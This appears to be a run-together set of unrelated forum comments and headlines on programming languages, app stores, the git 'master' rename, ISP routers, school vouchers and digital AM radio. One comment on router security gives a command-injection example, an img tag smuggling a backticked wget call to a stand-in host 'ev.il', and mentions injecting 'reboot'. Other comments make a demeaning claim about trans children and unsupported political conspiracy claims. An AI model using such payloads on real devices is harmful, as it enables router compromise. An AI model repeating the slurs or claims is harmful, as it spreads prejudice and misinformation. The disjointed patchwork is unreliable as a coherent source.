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You're not saying anything specific about what's wrong with Java. Java is not perfect, but you haven't actually given a single good reason. The type system alone is a huge benefit over languages such as Python/Ruby. Lisp has existed and been taught for a long time, and I like Lisp languages such as Clojure, but the allusion to Clojure being some kind of magic bullet is also pretty baseless.
Which is why sideloading should be protected. The government restricting the freedom of companies to moderate pretty terrible content is not great. What we should have is sideloading protected technically and legally. That also prevents Google and Apple from just collecting monopoly rents from their App Stores with no alternative. App stores and the ability of companies to pick and choose the apps that are allowed on them is a legitimate thing. What’s not legitimate is being stuck with ONLY being able to use the company’s App Store on the device you own.

Government sticking their nose in there is likely to have results that are not what you want. The freedom-maximizing option is not to have government-moderated app stores (shudder). It’s to have the freedom to shop at different stores.

The App Store model itself (where sideloading is prohibited and technically impossible) is a single point of failure, and having the government run it is not going to make things more free. I mean for goodness sake, you can’t even swear on FCC’s airwaves, and you’re telling me THAT’S the model you want in App Stores?
I'd like to believe that completely open debate would lead to better understanding for everyone involved, but reality has demonstrated to me that it isn't the case. "A lie can make it half way around the world before the truth can get its boots on". Even in Twain's day they understood the power of unchecked misinformation, and recent events have shown the consequences of allowing misinformation to spread far and wide nearly instantaneously.
I disagree, trans ideology is politically safe but isn't family safe. It's politically fine to chemically castrate confused homosexual children but I'm not going along with it
I argue that GCD, etc, don't actually work perfectly with Swift, though. Swift functions use a flavor of "checked errors" in the function signature via the `throws` keyword. When you're passing around callbacks or implementing Operation, there's no where to allow a `throws` function. Very similar problem to Java with checked exceptions and closures.

The early versions of Swift didn't even have a standard Result type, IIRC.

So even today, you will see some Swift functions that have `throws` in the signature and some that return `Result<T>`.

It was always awkward.
An ex post facto law is one criminalizing past conduct or increasing criminal penalties for past conduct; retroactive tax increases are not ex post facto laws.
Yes! For one, there is git via email, which is a oft overlooked built-in feature of git. Discussion (I am not the author) [0]

[0] - https://drewdevault.com/2018/07/02/Email-driven-git.html
Most of the time, you'll surely get the goal if you're passionate about it ;)
Are those colors real, or just synthesized by the visualization technique?
It is way too early to get out of dollars. When the dollar inevitably spikes, these emerging market funds are all going to suffer. If you were to sit on cash and wait to buy emerging markets at a discount, you’d do better over 20 years than buying now.
Apple (and authorizaed repair shops) can and will repair iPhone 12's.

Just wondering how often you'd need camera repair. I've never heard of someone needing a camera replacement for their phone, so to me this looks like a guy inflating a niche problem to enormous proportions to make a point for his sponsors.
Legislation (HF 515) to track pregnant women and talk them out of an abortion
You think Google would sell to Microsoft? Larry and Sergey are one the smartest founders ever. They had clear vision and mission for Google.
The Future of Cloud Is Microsoft's to Lose
Though I thoroughly enjoyed reading this dark path, in reality the bar is set so high in top companies that an engineering manager is usually an architect/senior engineer/and a people manager.

So most don't make it, and those who do have a tremendous career that's fulfilling and financially rewarding.
Not the parent, but your characterization of the stated perspective reveals quite well that you aren’t taking it seriously! This is a complex issue, so let’s treat it that way.

The micro-aggression, as I understand it, is having to ask yourself whether the term ‘master’ _did_ originate from slavery (in the context of git, IIRC it didn’t, but master-slave replication is the stronger example). The context and plan fact is that programming, as a broad culture, to date, _has_ been excluding Black people and others. So it is not hard to imagine some folks desiring to make a symbolic change to make the culture more inclusive.
When Darth Vader tells Luke that one day Luke will call him master, is he also committing a microagression?

Maybe the writers were, but I doubt it. To most English speakers master just means person in control or source of truth.

Or we should retcon Star Wars. Time to ban some more books and film I guess. Yay?
The core base of the Democratic party; Pelosi, Schumer, Feinstein, and their ilk; have been in power in their jerrymandered districts for decades, and in line with accusing others what what they themselves are doing, they accused the Republicans for over a year with planning to usurp power for the mortal sin of making a fuss over Mail In Balloting, something most western countries have heavily restricted or outright banned.

In a country with more firearms in civillian ownership then every other countries military combined, Nobody in the Democratic party believes there was actually an insurrection. If there were, there'd be no place for congress or the senate to hide from the nationwide guerilla warfare.

As has happened so many times in politics, political parties get hijacked. The Democrats have been hijacked by foreign interests, the Republicans are in the process of being hijacked by domestic populists.
This.

I developed a .Net web application for a company 20 years that is still going strong (better than ever and now with multiple developers). I didn’t know how to code back then but bought two good books and their concepts are the basis for almost everything in the app.

Now I am trying to learn Python/Django. I have tried doing the Udemy courses and going through building a “blog” and “real estate” apps. They are fine but boring and I lost interest. Then I remembered what I did 20 years ago and am now building a real product based on what I am learning in a couple of good books. It couldn’t be going better.
Presumably you'd be going into a country that is not attempting to control those channels though
The early LucasArts VGA games look worse than their EGA versions, but their artists learned to use VGA better. The Dig makes great use of VGA color.

https://www.mobygames.com/game/dos/dig/screenshots
If I disable wifi on the shitty router my ISP gave me, and assuming the physical device is secure, am I safe from having my home network hacked into?

I assume the ISP could still backdoor their way in (is this likely?) but that is a separate concern.
Sure, the name change was a stupid move in the first place. But as stupid moves go, this one fortunately does not affect my life at all (and that of most github users I guess).
Both “Bill of Attainder” and “ex post facto law” were existing legal terms of art at the time the provision was written, and both were then (and remain) terms of art relating to criminal law.
Oh well in that case New England can't feed itself so you're still kind of fucked. Kind of hard to parse this out though since all of these regions have suburbs.
>Tesla definitely has a much stronger brand than Hyundai, but that will change as more people see cars like the Ioniq 5 on the road.

Why? It looks like yet another Volkswagen Golf on the outside. If it was actually something exciting like the Honda e, I might get it, but it looks like a very average hatchback.
Even when it's an overt master-controlling-slave analogy, what's the actual problem with that?

It's not like there's any 'har-har silly slave' value judgement attached, why is it any different to 'teacher and pupil', 'controller and controlled', 'leader and follower'?
> "Oh why not, because she is a woman?" and I was like "wow, where did that come from? what does that even mean?" and since that day I know that US racial issue is fucked up big time.

But what does your example have to do with race?
Yeah, let's just stop all technological progress. That way it can't be exponential!
It's not any more "magic" than garbage collection. The runtime figures out when memory is no longer required and frees it, through perfectly well-defined and easy-to-model rules. The code doesn't "say" the stack will blow because a finite stack isn't a language guarantee - it's simply an inconvenient fact of life.
Loved the section where he talked about technology the world needs.

I took each idea down and started taking notes on it.

https://joshdance.medium.com/request-for-technology-from-pat...
The winners of the 2020 GCP VRP Prize
I learned to code around the age of 7, and I too agree that there's no way in hell we can get everyone interested in learning how to code. It's something I basically can't explain why I enjoy doing. How would you even get someone who doesn't understand programming to get interested in a career of software engineering?
I wonder what is actual realistic minimum size and mass for effective drone in warfare. We are still using essentially projectile weapons, be it bullets or missiles. These have minimum effective mass not to forget delivery system. Even theoretical energy weapons have to get the power from somewhere...
They are synthesized, from the article "Image in mapped colors from the light emitted by an ionized elements, hydrogen = green, sulfur = red and oxygen = blue."
If you forgo justice in the name of the greater good don't be mad when you get neither.
By your own admission, it's a precarious moral tightrope you're walking here.
>Your voucher system would simply exacerbate the problem.

That cannot be proven without testing.

>You know what happens when you allow people to be selective about their schools? https://en.wikipedia.org/wiki/White_flight

And...? Race of citizens doesn't matter. The city schools, since they face the most competition (due to proximity) would improve the most quickly.

>In your case, it would just be a move to private schools

Exactly. New models would crop up. Overnight, a new multi-billion dollar industry would be created. Startups would spring up everywhere to get certified and capture that new value.

>And breaking up the teachers' unions? ... That's a race to the bottom. ...

That's because there is no competition. In a non-competitive marketplace, there is no forcing function for quality.

>Education is a service with no direct material benefit.

Education is a service with the greatest material benefit. It is the foundational service. It allows all other goods and services to be generated.

>Education is one area where we probably need less privatization rather than more.

This does not follow from your previous assertions. Homogenizing education has clearly failed. It is a race to the bottom.

The education system has been captured by the political class via teachers unions. That is why they want to churn out homogenized thinkers who are only smart enough to vote for their aligned political faction.
> Did people become less homophobic because "gay" stopped being used as an insult.

I can only speak from my own personal experience but yes! Absolutely 1000% yes. That is exactly the point and the intended goal of reclaiming the term.
Why Clubhouse Will Fail
With computers there is often a master/slave relationship, there is one system that's in near absolute control of another. It's practical and there's no ethical issues, the slave computer doesn't feel anything. Of course, with human beings it's a completely different story, but we're talking about computers.

As far as human beings, the problem was (and is) slavery, it's not the word "master". Especially in the US, there's this idea that we just have to change the terminology around, ban a word, and suddenly racism will disappear. Both political parties, the mainstream media, and major corporations all love this, because they get to make superficial changes and then sweep racism under the rug.

Now if GitHub wanted to do something truly radical to fight racism, they'd change the name of the "master" branch to the "black" branch. I understand most people will be resistant to this, simply because "black" has a negative connotation, but please be aware of your own personal reactions to the word, as that's my whole point. The word "black" also means darkness, evil, it's something dirty, while "white" means purity, goodness, and cleanliness. And I'm just pointing out the what's already in people's minds, don't shoot the messenger!

If something is "black and white", there's a clear right and wrong. In our language, "black" is synonymous with "wrong", and yet this word with negative connotations is used for an entire race of people.

Instead of practicing censorship, which is reprehensible in a free society, and reminiscent of the same kind of authoritarianism that produces master/slave relationships among human beings, why not do something actually progressive? Have we forgotten what that looks like? Challenge society's entire perception of the word "black", rename the "master" branch "black", and begin to associate the word with something good for once. Start by changing the way people think. Turn black into something positive, and if you really want to see people's racism come out, use white in a negative sense.
A lot of the site is geared towards 1st time founders. I definitely recommend 1st time founders to check out how to fundraise and focus on product market fit. For 2nd and 3rd time founders, I recommend them to check out metrics to optimize the scale of their business.

I'll definitely be adding more as our current company scales and we experience new pain points and learnings.
Thought I replied to this, odd. I don't know what antibiotics they may give after surgery. The reason I asked is some people develop severe corneal neuralgia that has/causes whole body symptoms - central sensitization, hyperalgesia - which sounds somewhat similar to small fibre neuropathy.
What do the real colors look like?
Irish webapp to recreate pub atmosphere at home
I knew I was unsteady about Microsoft acquiring Github (and LinkedIn, etc.) but I couldn't quite put my finger on it. This article informs that feeling quite a bit. It's becoming more apparent to me that Microsoft is working behind the scenes to build their empire in a different world. They've realized that the desktop is lost and there are no more gains to be had there.

On the flip side, I'm pretty happy to have competition in the cloud. AWS is a monster and needs someone to temper their soul and push them to reduce transit costs. Maybe Azure will be that. Maybe not.
This depends completely on what you put AFTER the router that your ISP gave you. You can often get your ISP to put the router into Gateway mode which turns off the routing part and the wifi. It becomes just a modem at that point, and you can use whatever good router you want.
Starting on July 1, 2021 we are reducing the service fee Google Play receives when a developer sells digital goods or services to 15% for the first $1M (USD) of revenue every developer earns each year. With this change, 99% of developers globally that sell digital goods and services with Play will see a 50% reduction in fees. These are funds that can help developers scale up at a critical phase of their growth by hiring more engineers, adding to their marketing staff, increasing server capacity, and more.
Thanks for the love Garrett!
While there may be plenty of people of all races who were not offended by the name, when you operate at the scale of a GitHub there is going to be some percentage who are. Some of them will complain. A company like GitHub then has two main options: change the name, or defend not changing the name. Whichever one they pick is going to cause various forms of backlash from various people, but it’s pretty obvious that changing the name is more defensible and the better long-term approach.
I don't think those are the same things.
SDR Recording of WWFD-Am Radio, Frederick MD?
All-digital AM is an accepted, but not widely-used, standard. It could make the AM broadcast band better suited for music and performance, instead of just talk.

As far as I know, WWFD-AM radio, 820 kHz, based in Frederick MD, is the only fully digital AM broadcast radio station in the US. A radio amateur based in Mayland or Washington DC, using SDR techniques, would be well-placed to make an I/Q recording of WWFD and share it so that the rest of us can study the format.

Here is something to shoot for:

- record I/Q samples (not Q-branch), so that signal structure and phase information is preserved
- from on-air digital WWFD-AM, not the repeater on WWFD-FM
- preferably a recording that crosses the top of an hour (includes a time hack and station call)
- sample passband of 22 kHz centered on 820 kHz (809-831 kHz) or wider (captures adjacent sidebands)
- sampled at 45,000 samples/sec or faster, for about 300 seconds or longer
- share on GitHub or the like, and notify https://github.com/theori-io/nrsc5 (for whom I do not speak)

A 300 sec recording should come in under 100 MBytes. Recordings from various times and locations would be welcome.

Please help make this request better with your suggestions. Thank you!
Agreed! And what an amazing game The Dig was. I liked that it was less "humorous" than the standard adventure fare, too.
Have anything relevant to share?
The Existence Analysis of Quantum Integro-Difference FBVPs
I don't get it, doesn't everyone dislike/struggle with these things? Who likes context switching, office politics, sitting in meetings and having difficult conversations
Fair enough — I’d wager large city bankruptcies remain quite possible under the next GOP Administration. The most liberal Republican POTUS of my own lifetime said “No” to NYC:

https://www.nydailynews.com/new-york/president-ford-announce...
I think they mean that if a black person types in `git checkout master` they are inflicting microaggression against themselves... I personally think this is mental gymnastics on par with homeopathy[1].

On the other hand, I guess the "habit" thing might hold _some_ credibility, but it's not probably not going to be as effective as they think. They say it roughly takes 40 days to make a habit, so in the most optimistically woke scenario, this person will be hyper aware about the branch name for about 40 days, after that they'll stop noticing it[2].

[1]: I can also never tell if these people are trolling or genuine.

[2]: I'm not really an expert on habits, so maybe my analysis makes no sense.
Some background for those that may be not know which one to choose. Gitea forked a while back due to the belief that the maintainer of Gogs was not moving fast enough. I can't speak for the quality, but the difference in activity level is extremely evident as the following shows:

Gogs

https://public-001.gitsense.com/insights/github/repos?r=gith...

Gitea

https://public-001.gitsense.com/insights/github/repos?r=gith...
Depends on your skills:

Sourcehut assumes you know your way around Linux and want to spend the time to understand how to host the services you need. The expectation will be that, if you run into issues, you're willing to debug and submit patches if necessary.

Alternatives like Gitea/Gogs are hostable as essentially single binaries and have clear guides on how to host on Docker. They're less feature rich, but more widely used in a self hosting context.

If you're looking for a middle ground, I've had good luck hosting Gitlab but it will consume more server resources than anything mentioned thus far and be a little more difficult to keep up to date
Haskell base proposal: unifying vector-like types
Hm, never thought of it like that.

I was caught off guard by the change when it was implemented, and was frankly quite annoyed. My suspicions were the same as the author's, that the reasons were likely insincere. But I never made the leap you did to (try and) assess my subconscious biases. Thank you for the insight!

On an other note, 'main' is fewer letters to capture the same idea ad therefore more efficient.
Apple has much stricter requirements on payments outside the apps though, is that considered in the numbers? If you can get direct payments from Google customers but have to go through Apple and give a slice in their platform, that would mean the higher store revenue number is actually partly squeezed from the developers instead of profiting them.
Humans will always fall short of perfection. That doesn't mean we shouldn't strive to improve. That's most we can realistically ask for.
These riots were lead by avowed Marxists. They received millions in donations from the largest companies in the world. These same companies lined up to shut down any criticism of these riots. At the same time, countervailing forced are censored and demonized (maybe rightfully, but wildly unequally) and swiftly wiped off the internet by coordinated efforts.

I respect the fact that people can think these are good things, but pretending it's business as usual is just laughable.
It depends. If there's a vulnerability in the firmware that allows unauthenticated code execution from a generic GET request, malvertising on your computer could load an IMG tag with the SRC set to your router's IP and deploy malware to your router. From there your router could become part of a botnet, the router's DNS settings could be changed to redirect websites through some malvertising DNS server, and whatever the router can access in your network (dev database server?) could be extracted. Sometimes all it takes is an <img src="http://10.1.1.1/admin/getSettings?command=`wget http://ev.il/|curl`" /> in an ad.

Such vulnerabilities are more common than most vendors would like to admit. Adding `reboot` to random GET requests gets you quite far with quite a lot of consumer routers. I have little experience with TP Link software outside of flashing OpenWRT on their hardware.

There's been already scanners that target specific ISP routers for specific ISPs in specific countries already. In practice the probability of getting hit like this is very low, but the risk is still there.

With four years of updates, TP Link might actually care enough about security to not allow trivial exploits to execute code on their routers. Many vendors I know won't update past a year or two. I'd say the risk is low to very low in practice, but I'd watch out with running sensitive services (if you're in a healthcare startup, for example) while working from home.
While clearly not all of Hollywood portrays the industry accurately, from my perspective the movie was incredibly reflective of the players in the space, and the dynamics.

I worked in the mortgage/CDO/CDS industry for 10yrs during that period (2005-2015).

If anything, the movie was too positive. There aren't as many players like Steve Carell's character who are worried about the world, they are usually worried about how to liquidate their book at the right time.

The bit about getting marked the wrong way was especially spot on.

Another very accurate movie: "Margin Call"
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